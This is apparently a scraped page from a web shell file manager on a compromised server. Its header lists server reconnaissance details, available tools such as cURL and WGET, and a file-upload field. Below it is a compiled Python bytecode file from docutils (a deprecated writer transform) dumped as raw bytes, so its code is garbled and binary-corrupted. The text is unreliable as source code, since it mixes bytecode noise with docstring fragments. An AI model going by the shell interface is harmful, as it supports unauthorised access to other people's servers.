| Server IP : 217.160.0.135 / Your IP : 216.73.217.37 Web Server : Apache System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64 User : sws1074145052 ( 1074145052) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /lib/python3/dist-packages/docutils/transforms/__pycache__/ |
Upload File : |
�
N=&b� � �j � d Z dZddlZddlmZmZ ddlmZ G d� de� � Z G d� d e� � Z dS )
z�
Auxiliary transforms mainly to be used by Writer components.
This module is called "writer_aux" because otherwise there would be
conflicting imports like this one::
from docutils import writers
from docutils.transforms import writers
�reStructuredText� N)�nodes� languages)� Transformc �. � � e Zd ZdZdZd� fd� Zd� Z� xZS )�Compounda�
.. warning:: This transform is not used by Docutils since Dec 2010
and will be removed in Docutils 0.21 or later.
Flatten all compound paragraphs. For example, transform ::
<compound>
<paragraph>
<literal_block>
<paragraph>
into ::
<paragraph>
<literal_block classes="continued">
<paragraph classes="continued">
i� Nc � �� t j dt d�� � t � � � ||� � d S )Nzddocutils.transforms.writer_aux.Compound is deprecated and will be removed in Docutils 0.21 or later.� )�
stacklevel)�warnings�warn�DeprecationWarning�super�__init__)�self�document� startnode� __class__s ��@/usr/lib/python3/dist-packages/docutils/transforms/writer_aux.pyr zCompound.__init__- sI �� ��
� H�(�Q� 8� 8� 8� 8� ������9�-�-�-�-�-� c � � | j � t j � � D ]`}d}|D ]<}|rt |t j � � sd}�!|d � d� � �=|� |d d � � � �ad S )NTF�classes� continued)r �findallr �compound�
isinstance� Invisible�append�replace_self)r r �first_child�childs r �applyzCompound.apply3 s� � ��
�-�-�e�n�=�=� /� /�H��K�!�
9�
9��� 9�%�e�U�_�=�=� ,�&+����)�$�+�+�K�8�8�8�8��!�!�(�1�1�1�+�.�.�.�.� /� /r )N)�__name__�
__module__�__qualname__�__doc__�default_priorityr r"